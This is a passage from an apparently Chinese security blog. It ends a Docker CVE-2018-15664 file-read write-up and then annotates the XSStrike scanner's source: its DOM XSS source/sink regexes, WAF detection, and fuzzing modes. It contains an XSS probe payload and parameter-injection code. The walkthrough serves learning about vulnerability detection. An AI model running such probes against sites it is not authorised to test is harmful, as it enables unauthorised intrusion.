class="line">done</span><br></pre></td></tr></table></figure><p>这里触发条件竞争即可拷贝任意宿主机文件到ex${idx)/out。达到低权限任意读取宿主机文件的提权目的</p><p>总体来说这个漏洞还是比较鸡肋,但是对于漏洞学习,研究来说还是很有价值的。</p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p>《云原生安全:攻防实践与体系构建》</p>]]></content>
<categories>
<category> 云原生安全 </category>
</categories>
<tags>
<tag> CVE-2018-15664 </tag>
<tag> 符号连接替换漏洞 </tag>
</tags>
</entry>
<entry>
<title>xsstrike源码赏析</title>
<link href="/2022/01/11/xsstrike%E6%BA%90%E7%A0%81%E8%B5%8F%E6%9E%90/"/>
<url>/2022/01/11/xsstrike%E6%BA%90%E7%A0%81%E8%B5%8F%E6%9E%90/</url>
<content type="html"><![CDATA[<p><a href="https://github.com/s0md3v/XSStrike">XSStrike</a>作为一个在github有9.9k start的xss检测工具。架构,检测思路对于研究xss检测还是很有帮助的,下面将从以下五个部分来赏析一下xsstrike源码。</p><h2 id="1-项目架构"><a href="#1-项目架构" class="headerlink" title="1.项目架构"></a>1.项目架构</h2><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">XSStrike</span><br><span class="line">├── core</span><br><span class="line">│ ├── <span class="strong">__init__</span>.py</span><br><span class="line">│ ├── arjun.py#查找页面中的input标签name属性作为参数。携带xsschecker请求参数查看回显来判断风险参数</span><br><span class="line">│ ├── checker.py#判断输入的特殊字符是否被编码,并根据编码情况进行打分</span><br><span class="line">│ ├── colors.py#为输出添加颜色</span><br><span class="line">│ ├── config.py#记载所有配置。如:启动xsstrike时输入的参数记载在globalVariables。</span><br><span class="line">│ ├── dom.py#domxss检测。正则匹配domxss的 source,sink。source能够流出sink则进行标记</span><br><span class="line">│ ├── encoders.py#编码函数。仅支持base64编码,更多编码函数可自行扩展</span><br><span class="line">│ ├── filterChecker.py#特殊符号过滤检查,调用了checker.py#checker。将获取的分数添加到occurences集合</span><br><span class="line">│ ├── fuzzer.py#根据config.py中的fuzzes列表 来fuzz过滤情况</span><br><span class="line">│ ├── generator.py#根据occurences集合生成payload</span><br><span class="line">│ ├── htmlParser.py#通过解析其中xsschecker的回显细节,来判断产生反射xss的风险点最后返回一个database 集合</span><br><span class="line">│ ├── jsContexter.py#添加},],)等闭合script,用来组合payload</span><br><span class="line">│ ├── log.py#xsstrike回显主要调用log模块</span><br><span class="line">│ ├── photon.py#爬取页面中所有from标签,href中的链接。顺便调用domxss检查domxss,调用retireJs检查js库是否存在漏洞</span><br><span class="line">│ ├── prompt.py</span><br><span class="line">│ ├── requester.py#根据url,data,method等请求产生response</span><br><span class="line">│ ├── updater.py#更新xsstrike。主要根据本地config的changes 和远程github项目的changes 是否相等来判断</span><br><span class="line">│ ├── utils.py#加载一些常用的工具函数如,genGen,getParams,js<span class="emphasis">_extractor等</span></span><br><span class="line"><span class="emphasis">│ ├── wafDetector.py #waf探测主要根据wafSignatures.json指纹文件在响应内容\响应头\状态码中搜索waf指纹,搜索到则确定waf</span></span><br><span class="line"><span class="emphasis">│ └── zetanize.py#查找response中form标签,提取其中的input标签属性值。来生成forms集合</span></span><br><span class="line"><span class="emphasis">├── db</span></span><br><span class="line"><span class="emphasis">│ ├── definitions.json#js组件历史漏洞版本集合</span></span><br><span class="line"><span class="emphasis">│ └── wafSignatures.json#waf指纹集合</span></span><br><span class="line"><span class="emphasis">├── modes</span></span><br><span class="line"><span class="emphasis">│ ├── <span class="strong">__init__</span>.py</span></span><br><span class="line"><span class="emphasis">│ ├── bruteforcer.py #根据config中的payloads来暴力测试</span></span><br><span class="line"><span class="emphasis">│ ├── crawl.py#测试网页中爬取的form,如果存在--blind,则根据设置的blindPayload进行xss盲测</span></span><br><span class="line"><span class="emphasis">│ ├── scan.py#主要的逻辑函数,waf检测,domxss,反射xss,payload生成等都在此处调用</span></span><br><span class="line"><span class="emphasis">│ └── singleFuzz.py#主要调用fuzzer.py#fuzz函数。再开始fuzz前会处理url,判断是http/https</span></span><br><span class="line"><span class="emphasis">├── plugins</span></span><br><span class="line"><span class="emphasis">│ ├── <span class="strong">__init__</span>.py</span></span><br><span class="line"><span class="emphasis">│ └── retireJs.py#根据出入的url和请求得到的response判断是否含有js组件库的漏洞。主要依赖db/definitions.json文件</span></span><br><span class="line"><span class="emphasis"></span></span><br></pre></td></tr></table></figure><p>core目录:</p><p>xsstrike的核心模块,xsstrike的核心功能函数都在该模块。waf检测,domxss检测,反射xss检测,payload生成的代码都记录在这里。</p><p>db目录:</p><p>主要存储json静态文件。记载waf指纹,js组件历史漏洞版本集合。</p><p>modes目录:</p><p>扫描器核心功能组合模块。组合core中的函数,达到payload暴力测试,爬取网页中的form进行测试,直接扫描测试,fuzz参数过滤测试的功能。</p><p>plugins目录:</p><p>其中含有的<code>retireJs.py#retireJs</code>可扫描使用的js组件是否存在历史漏洞。可进行插件扩展。</p><h2 id="2-domxss检测"><a href="#2-domxss检测" class="headerlink" title="2.domxss检测"></a>2.domxss检测</h2><p>domxss检测的核心代码主要在dom.py</p><h3 id="dom-py"><a href="#dom-py" class="headerlink" title="dom.py"></a>dom.py</h3><h4 id="函数:def-dom-response"><a href="#函数:def-dom-response" class="headerlink" title="函数:def dom(response):"></a>函数:def dom(response):</h4><h4 id="结构图:"><a href="#结构图:" class="headerlink" title="结构图:"></a>结构图:</h4><p><img src="1.png" alt="1"></p><h4 id="检测规则:"><a href="#检测规则:" class="headerlink" title="检测规则:"></a>检测规则:</h4><p>正则匹配domxss的source,sink。</p><p>source:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">document\.(URL|documentURI|URLUnencoded|baseURI|cookie|referrer)|location\.(href|search|<span class="built_in">hash</span>|pathname)|window\.name|history\.(pushState|replaceState)(local|session)Storage</span><br></pre></td></tr></table></figure><p>以上js函数获取的数据可被攻击者控制的作为domxss的source。</p><p>Sink:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">decodeURIComponent|<span class="built_in">eval</span>|evaluate|execCommand|assign|navigate|getResponseHeaderopen|showModalDialog|Function|<span class="built_in">set</span>(Timeout|Interval|Immediate)|execScript|crypto.generateCRMFRequest|ScriptElement\.(src|text|textContent|innerText)|.*?\.onEventName|document\.(write|writeln)|.*?\.innerHTML|Range\.createContextualFragment|(document|window)\.location</span><br></pre></td></tr></table></figure><p>以上js函数当用户可控的数据流入,可能造成domxss。</p><p>发现source/sink就会进行标记,source/sink同时发现就return highlighted。highlighted就记载着source/sink。</p><h4 id="源码:"><a href="#源码:" class="headerlink" title="源码:"></a>源码:</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> re</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> core.colors <span class="keyword">import</span> red, end, yellow</span><br><span class="line"><span class="keyword">from</span> core.log <span class="keyword">import</span> setup_logger</span><br><span class="line"></span><br><span class="line">logger = setup_logger(__name__)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 检测response中是否含有domxss</span></span><br><span class="line"><span class="comment"># 检测规则为正则匹配domxss的 source,sink</span></span><br><span class="line"><span class="comment"># source能够流出sink则进行标记</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">dom</span>(<span class="params">response</span>):</span></span><br><span class="line"> highlighted = []</span><br><span class="line"> <span class="comment">#js中可从外部获取用户输入的函数</span></span><br><span class="line"> sources = <span class="string">r'''document\.(URL|documentURI|URLUnencoded|baseURI|cookie|referrer)|location\.(href|search|hash|pathname)|window\.name|history\.(pushState|replaceState)(local|session)Storage'''</span></span><br><span class="line"> <span class="comment"># 输入数据可控可能诱发xss的函数</span></span><br><span class="line"> sinks = <span class="string">r'''decodeURIComponent|eval|evaluate|execCommand|assign|navigate|getResponseHeaderopen|showModalDialog|Function|set(Timeout|Interval|Immediate)|execScript|crypto.generateCRMFRequest|ScriptElement\.(src|text|textContent|innerText)|.*?\.onEventName|document\.(write|writeln)|.*?\.innerHTML|Range\.createContextualFragment|(document|window)\.location'''</span></span><br><span class="line"> <span class="comment"># 匹配<script></script>中间的值</span></span><br><span class="line"> scripts = re.findall(<span class="string">r'(?i)(?s)<script[^>]*>(.*?)</script>'</span>, response)</span><br><span class="line"> sinkFound, sourceFound = <span class="literal">False</span>, <span class="literal">False</span></span><br><span class="line"> <span class="keyword">for</span> script <span class="keyword">in</span> scripts:</span><br><span class="line"> <span class="comment"># 根据换行符进行切片</span></span><br><span class="line"> script = script.split(<span class="string">'\n'</span>)</span><br><span class="line"> num = <span class="number">1</span></span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> <span class="comment"># newLine等于每一行script中的值</span></span><br><span class="line"> <span class="keyword">for</span> newLine <span class="keyword">in</span> script:</span><br><span class="line"> line = newLine</span><br><span class="line"> <span class="comment"># 更具var 进行切片,以每一个值为分隔</span></span><br><span class="line"> parts = line.split(<span class="string">'var '</span>)</span><br><span class="line"> <span class="comment"># 能够控制的变量</span></span><br><span class="line"> controlledVariables = <span class="built_in">set</span>()</span><br><span class="line"> <span class="comment"># 所有受控变量</span></span><br><span class="line"> allControlledVariables = <span class="built_in">set</span>()</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">len</span>(parts) > <span class="number">1</span>:</span><br><span class="line"> <span class="keyword">for</span> part <span class="keyword">in</span> parts:</span><br><span class="line"> <span class="keyword">for</span> controlledVariable <span class="keyword">in</span> allControlledVariables:</span><br><span class="line"> <span class="keyword">if</span> controlledVariable <span class="keyword">in</span> part:</span><br><span class="line"> <span class="comment"># 查找能够控制输入的变量</span></span><br><span class="line"> controlledVariables.add(re.search(<span class="string">r'[a-zA-Z$_][a-zA-Z0-9$_]+'</span>, part).group().replace(<span class="string">'$'</span>, <span class="string">'\$'</span>))</span><br><span class="line"> <span class="comment"># newLine中含有source则返回数据,返回一个结果迭代器</span></span><br><span class="line"> pattern = re.finditer(sources, newLine)</span><br><span class="line"> <span class="comment"># grp 包含匹配规则,匹配到的字符串</span></span><br><span class="line"> <span class="keyword">for</span> grp <span class="keyword">in</span> pattern:</span><br><span class="line"> <span class="keyword">if</span> grp:</span><br><span class="line"> <span class="comment"># 获取匹配的关键字,source中的关键字</span></span><br><span class="line"> source = newLine[grp.start():grp.end()].replace(<span class="string">' '</span>, <span class="string">''</span>)</span><br><span class="line"> <span class="keyword">if</span> source:</span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">len</span>(parts) > <span class="number">1</span>:</span><br><span class="line"> <span class="keyword">for</span> part <span class="keyword">in</span> parts:</span><br><span class="line"> <span class="comment"># part为切割var 匹配到的值</span></span><br><span class="line"> <span class="comment"># 匹配到source值在part中,确定sorce存在</span></span><br><span class="line"> <span class="keyword">if</span> source <span class="keyword">in</span> part:</span><br><span class="line"> controlledVariables.add(re.search(<span class="string">r'[a-zA-Z$_][a-zA-Z0-9$_]+'</span>, part).group().replace(<span class="string">'$'</span>, <span class="string">'\$'</span>))</span><br><span class="line"> sourceFound = <span class="literal">True</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"source"</span>,source)</span><br><span class="line"> <span class="comment"># line替换replace</span></span><br><span class="line"> line = line.replace(source, yellow + source + end)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> controlledVariable <span class="keyword">in</span> controlledVariables:</span><br><span class="line"> allControlledVariables.add(controlledVariable)</span><br><span class="line"> <span class="keyword">for</span> controlledVariable <span class="keyword">in</span> allControlledVariables:</span><br><span class="line"> <span class="comment"># 从line中匹配所有controlledVariable</span></span><br><span class="line"> matches = <span class="built_in">list</span>(<span class="built_in">filter</span>(<span class="literal">None</span>, re.findall(<span class="string">r'\b%s\b'</span> % controlledVariable, line)))</span><br><span class="line"> <span class="keyword">if</span> matches:</span><br><span class="line"> line = re.sub(<span class="string">r'\b%s\b'</span> % controlledVariable, yellow + controlledVariable + end, line)</span><br><span class="line"> <span class="comment"># newLine中查找sinks</span></span><br><span class="line"> pattern = re.finditer(sinks, newLine)</span><br><span class="line"> <span class="keyword">for</span> grp <span class="keyword">in</span> pattern:</span><br><span class="line"> <span class="keyword">if</span> grp:</span><br><span class="line"> sink = newLine[grp.start():grp.end()].replace(<span class="string">' '</span>, <span class="string">''</span>)</span><br><span class="line"> <span class="keyword">if</span> sink:</span><br><span class="line"> line = line.replace(sink, red + sink + end)</span><br><span class="line"> sinkFound = <span class="literal">True</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"sink:"</span>,sink)</span><br><span class="line"> <span class="comment"># 如果不相等说明被标记了</span></span><br><span class="line"> <span class="comment"># line一开始==newLine</span></span><br><span class="line"> <span class="comment"># 如果找到source/slink则将line中souce/sink加上red--end,source加上yellow--end进行替换</span></span><br><span class="line"> <span class="comment"># 不相等说明存在source/slink,传入highlighted进行回显</span></span><br><span class="line"> <span class="keyword">if</span> line != newLine:</span><br><span class="line"> highlighted.append(<span class="string">'%-3s %s'</span> % (<span class="built_in">str</span>(num), line.lstrip(<span class="string">' '</span>)))</span><br><span class="line"> <span class="built_in">print</span>(highlighted)</span><br><span class="line"> num += <span class="number">1</span></span><br><span class="line"> <span class="keyword">except</span> MemoryError:</span><br><span class="line"> <span class="keyword">pass</span></span><br><span class="line"> <span class="keyword">if</span> sinkFound <span class="keyword">and</span> sourceFound:</span><br><span class="line"> <span class="keyword">return</span> highlighted</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> []</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="3-waf检测,fuzz模块"><a href="#3-waf检测,fuzz模块" class="headerlink" title="3.waf检测,fuzz模块"></a>3.waf检测,fuzz模块</h2><h3 id="3-1-waf检测"><a href="#3-1-waf检测" class="headerlink" title="3.1 waf检测"></a>3.1 waf检测</h3><p>waf检测代码主要在core/wafDetector.py</p><h4 id="函数:def-wafDetector-url-params-headers-GET-delay-timeout"><a href="#函数:def-wafDetector-url-params-headers-GET-delay-timeout" class="headerlink" title="函数:def wafDetector(url, params, headers, GET, delay, timeout):"></a>函数:def wafDetector(url, params, headers, GET, delay, timeout):</h4><h4 id="结构图"><a href="#结构图" class="headerlink" title="结构图:"></a>结构图:</h4><p><img src="2.png" alt="1"></p><h4 id="检测规则:-1"><a href="#检测规则:-1" class="headerlink" title="检测规则:"></a>检测规则:</h4><p>请求携带<code><script>alert("XSS")</script></code> 查看响应内容。 根据wafSignatures.json指纹文件在响应内容,响应头,状态码中匹配waf指纹。</p><p>状态码0.5分,响应内容,响应头均为1。如果同时有多个规则满足,则选择分数最高那个。</p><h4 id="源码:-1"><a href="#源码:-1" class="headerlink" title="源码:"></a>源码:</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> json</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> core.requester <span class="keyword">import</span> requester</span><br><span class="line"><span class="keyword">from</span> core.log <span class="keyword">import</span> setup_logger</span><br><span class="line"></span><br><span class="line">logger = setup_logger(__name__)</span><br><span class="line"></span><br><span class="line"><span class="comment"># waf探测</span></span><br><span class="line"><span class="comment"># 主要根据wafSignatures.json指纹文件在响应内容,响应头,状态码中搜索waf指纹,搜索到则确定waf</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">wafDetector</span>(<span class="params">url, params, headers, GET, delay, timeout</span>):</span></span><br><span class="line"> <span class="keyword">with</span> <span class="built_in">open</span>(sys.path[<span class="number">0</span>] + <span class="string">'/db/wafSignatures.json'</span>, <span class="string">'r'</span>) <span class="keyword">as</span> file:</span><br><span class="line"> <span class="comment"># waf指纹</span></span><br><span class="line"> wafSignatures = json.load(file)</span><br><span class="line"> <span class="comment"># a payload which is noisy enough to provoke the WAF</span></span><br><span class="line"> <span class="comment"># 肯定会引起waf拦截的参数</span></span><br><span class="line"> noise = <span class="string">'<script>alert("XSS")</script>'</span></span><br><span class="line"> params[<span class="string">'xss'</span>] = noise</span><br><span class="line"> <span class="comment"># Opens the noise injected payload</span></span><br><span class="line"> response = requester(url, params, headers, GET, delay, timeout)</span><br><span class="line"> page = response.text</span><br><span class="line"> code = <span class="built_in">str</span>(response.status_code)</span><br><span class="line"> headers = <span class="built_in">str</span>(response.headers)</span><br><span class="line"> <span class="comment"># 状态码</span></span><br><span class="line"> logger.debug(<span class="string">'Waf Detector code: {}'</span>.<span class="built_in">format</span>(code))</span><br><span class="line"> <span class="comment"># 响应头</span></span><br><span class="line"> logger.debug_json(<span class="string">'Waf Detector headers:'</span>, response.headers)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">int</span>(code) >= <span class="number">400</span>:</span><br><span class="line"> bestMatch = [<span class="number">0</span>, <span class="literal">None</span>]</span><br><span class="line"> <span class="keyword">for</span> wafName, wafSignature <span class="keyword">in</span> wafSignatures.items():</span><br><span class="line"> <span class="comment"># waf准确性打分</span></span><br><span class="line"> score = <span class="number">0</span></span><br><span class="line"> pageSign = wafSignature[<span class="string">'page'</span>]</span><br><span class="line"> codeSign = wafSignature[<span class="string">'code'</span>]</span><br><span class="line"> headersSign = wafSignature[<span class="string">'headers'</span>]</span><br><span class="line"> <span class="comment"># 在响应,响应头,状态码中搜索waf指纹,搜索到则确定waf</span></span><br><span class="line"> <span class="keyword">if</span> pageSign:</span><br><span class="line"> <span class="keyword">if</span> re.search(pageSign, page, re.I):</span><br><span class="line"> score += <span class="number">1</span></span><br><span class="line"> <span class="comment"># 状态码打分0.5</span></span><br><span class="line"> <span class="keyword">if</span> codeSign:</span><br><span class="line"> <span class="keyword">if</span> re.search(codeSign, code, re.I):</span><br><span class="line"> score += <span class="number">0.5</span> <span class="comment"># increase the overall score by a smaller amount because http codes aren't strong indicators</span></span><br><span class="line"> <span class="keyword">if</span> headersSign:</span><br><span class="line"> <span class="keyword">if</span> re.search(headersSign, headers, re.I):</span><br><span class="line"> score += <span class="number">1</span></span><br><span class="line"> <span class="comment"># 如果命中多个waf规则,则去分数最高那个</span></span><br><span class="line"> <span class="comment"># if the overall score of the waf is higher than the previous one</span></span><br><span class="line"> <span class="keyword">if</span> score > bestMatch[<span class="number">0</span>]:</span><br><span class="line"> <span class="keyword">del</span> bestMatch[:] <span class="comment"># delete the previous one</span></span><br><span class="line"> <span class="comment"># 匹配到的最有可能的waf</span></span><br><span class="line"> bestMatch.extend([score, wafName]) <span class="comment"># and add this one</span></span><br><span class="line"> <span class="keyword">if</span> bestMatch[<span class="number">0</span>] != <span class="number">0</span>:</span><br><span class="line"> <span class="keyword">return</span> bestMatch[<span class="number">1</span>]</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">None</span></span><br></pre></td></tr></table></figure><h3 id="3-2-fuzz模块"><a href="#3-2-fuzz模块" class="headerlink" title="3.2 fuzz模块"></a>3.2 fuzz模块</h3><p>fuzz模块主要依赖<code>modes/singleFuzz.py</code>,<code>core/fuzzer.py</code>两个文件。</p><p>singleFuzz.py主要负责处理target协议是<code>https/http</code>,解析hots,url等,解析传入的<code>--data</code>获取paramData。然后调用fuzzer.py进行fuzz。</p><h4 id="modes-singleFuzz-py"><a href="#modes-singleFuzz-py" class="headerlink" title="modes/singleFuzz.py"></a>modes/singleFuzz.py</h4><h5 id="函数:def-singleFuzz-target-paramData-encoding-headers-delay-timeout"><a href="#函数:def-singleFuzz-target-paramData-encoding-headers-delay-timeout" class="headerlink" title="函数:def singleFuzz(target, paramData, encoding, headers, delay, timeout):"></a>函数:def singleFuzz(target, paramData, encoding, headers, delay, timeout):</h5><h5 id="结构图:-1"><a href="#结构图:-1" class="headerlink" title="结构图:"></a>结构图:</h5><p><img src="3.png" alt="1"></p><h5 id="检测规则:-2"><a href="#检测规则:-2" class="headerlink" title="检测规则:"></a>检测规则:</h5><p>singleFuzz.py主要负责处理target协议是https/http,解析hots,url等,解析传入的<code>--data</code>获取paramData。然后调用fuzzer.py进行fuzz。</p><h5 id="源码:-2"><a href="#源码:-2" class="headerlink" title="源码:"></a>源码:</h5><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> copy</span><br><span class="line"><span class="keyword">from</span> urllib.parse <span class="keyword">import</span> urlparse</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> core.colors <span class="keyword">import</span> green, end</span><br><span class="line"><span class="keyword">from</span> core.config <span class="keyword">import</span> xsschecker</span><br><span class="line"><span class="keyword">from</span> core.fuzzer <span class="keyword">import</span> fuzzer</span><br><span class="line"><span class="keyword">from</span> core.requester <span class="keyword">import</span> requester</span><br><span class="line"><span class="keyword">from</span> core.utils <span class="keyword">import</span> getUrl, getParams</span><br><span class="line"><span class="keyword">from</span> core.wafDetector <span class="keyword">import</span> wafDetector</span><br><span class="line"><span class="keyword">from</span> core.log <span class="keyword">import</span> setup_logger</span><br><span class="line"></span><br><span class="line">logger = setup_logger(__name__)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取参数,添加xsschecker到paramsCopy参数中,然后开始fuzz</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">singleFuzz</span>(<span class="params">target, paramData, encoding, headers, delay, timeout</span>):</span></span><br><span class="line"> GET, POST = (<span class="literal">False</span>, <span class="literal">True</span>) <span class="keyword">if</span> paramData <span class="keyword">else</span> (<span class="literal">True</span>, <span class="literal">False</span>)</span><br><span class="line"> <span class="comment"># If the user hasn't supplied the root url with http(s), we will handle it</span></span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> target.startswith(<span class="string">'http'</span>):</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> <span class="comment"># 获取请求response</span></span><br><span class="line"> response = requester(<span class="string">'https://'</span> + target, {},</span><br><span class="line"> headers, GET, delay, timeout)</span><br><span class="line"> target = <span class="string">'https://'</span> + target</span><br><span class="line"> <span class="keyword">except</span>:</span><br><span class="line"> target = <span class="string">'http://'</span> + target</span><br><span class="line"> logger.debug(<span class="string">'Single Fuzz target: {}'</span>.<span class="built_in">format</span>(target))</span><br><span class="line"> host = urlparse(target).netloc <span class="comment"># Extracts host out of the url</span></span><br><span class="line"> logger.debug(<span class="string">'Single fuzz host: {}'</span>.<span class="built_in">format</span>(host))</span><br><span class="line"> url = getUrl(target, GET)</span><br><span class="line"> logger.debug(<span class="string">'Single fuzz url: {}'</span>.<span class="built_in">format</span>(url))</span><br><span class="line"> <span class="comment"># 根据输入内容获取param</span></span><br><span class="line"> params = getParams(target, paramData, GET)</span><br><span class="line"> logger.debug_json(<span class="string">'Single fuzz params:'</span>, params)</span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> params:</span><br><span class="line"> logger.error(<span class="string">'No parameters to test.'</span>)</span><br><span class="line"> quit()</span><br><span class="line"> WAF = wafDetector(</span><br><span class="line"> url, {<span class="built_in">list</span>(params.keys())[<span class="number">0</span>]: xsschecker}, headers, GET, delay, timeout)</span><br><span class="line"> <span class="keyword">if</span> WAF:</span><br><span class="line"> logger.error(<span class="string">'WAF detected: %s%s%s'</span> % (green, WAF, end))</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> logger.good(<span class="string">'WAF Status: %sOffline%s'</span> % (green, end))</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> paramName <span class="keyword">in</span> params.keys():</span><br><span class="line"> logger.info(<span class="string">'Fuzzing parameter: %s'</span> % paramName)</span><br><span class="line"> paramsCopy = copy.deepcopy(params)</span><br><span class="line"> <span class="comment"># 参数均携带xsschecker</span></span><br><span class="line"> paramsCopy[paramName] = xsschecker</span><br><span class="line"> fuzzer(url, paramsCopy, headers, GET,</span><br><span class="line"> delay, timeout, WAF, encoding)</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="core-fuzzer-py"><a href="#core-fuzzer-py" class="headerlink" title="core/fuzzer.py"></a>core/fuzzer.py</h3><h4 id="函数:def-fuzzer-url-params-headers-GET-delay-timeout-WAF-encoding"><a href="#函数:def-fuzzer-url-params-headers-GET-delay-timeout-WAF-encoding" class="headerlink" title="函数:def fuzzer(url, params, headers, GET, delay, timeout, WAF, encoding):"></a>函数:def fuzzer(url, params, headers, GET, delay, timeout, WAF, 